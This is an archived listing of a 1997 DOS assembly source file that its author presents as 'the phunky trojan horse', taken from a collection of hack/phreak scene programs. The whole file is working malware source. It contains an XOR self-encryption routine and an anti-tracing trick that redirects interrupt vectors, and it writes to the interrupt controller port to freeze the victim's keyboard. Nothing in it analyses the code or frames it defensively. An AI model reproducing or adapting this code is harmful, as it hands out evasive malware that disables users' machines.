home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ASM-P.ZIP / phunky.asm < prev    next >
Assembly Source File  |  1997-05-23  |  1KB  |  58 lines

  1. ; the phunky trojan horse
  2. ;frezzez up the keyboard when trying to trace it it is also encrypting
  3. ; Written by od^Phreak
  4.  
  5. virus_type    equ    3             
  6. is_encrypted    equ    1             
  7. tsr_virus    equ    0             
  8.  
  9. code        segment byte public
  10.         assume    cs:code,ds:code,es:code,ss:code
  11.         org    0100h
  12.  
  13. start        label    near
  14.  
  15. main        proc    near
  16.         call    encrypt_decrypt        
  17.  
  18. start_of_code    label    near
  19.  
  20. stop_tracing:    mov    cx,09EBh
  21.         mov    ax,0FE05h    
  22.         jmp    $-2
  23.         add    ah,03Bh        
  24.         jmp    $-10        
  25.         mov    bx,offset null_vector    
  26.         push    cs        
  27.         pop    es            
  28.         int    021h
  29.         mov    al,1        
  30.         int    021h
  31.         jmp    short skip_null        
  32. null_vector:    jmp    $        
  33. skip_null:    mov    byte ptr [lock_keys + 1],130  
  34. lock_keys:    mov    al,128            
  35.         out    021h,al            
  36.  
  37.  
  38.         mov    ax,04C00h        
  39.         int    021h
  40. main        endp
  41.  
  42. vcl_marker    db    "[written by od^Phreak]",0        
  43.  
  44. end_of_code    label    near
  45.  
  46. encrypt_decrypt    proc    near
  47.         mov    si,offset start_of_code 
  48.         mov    cx,(end_of_code - start_of_code) / 2 
  49. xor_loop:    xor    word ptr [si],06734h    
  50.         inc    si        
  51.         inc    si            
  52.         loop    xor_loop        
  53.         ret                
  54. encrypt_decrypt    endp
  55. finish        label    near
  56.  
  57. code        ends
  58.         end    main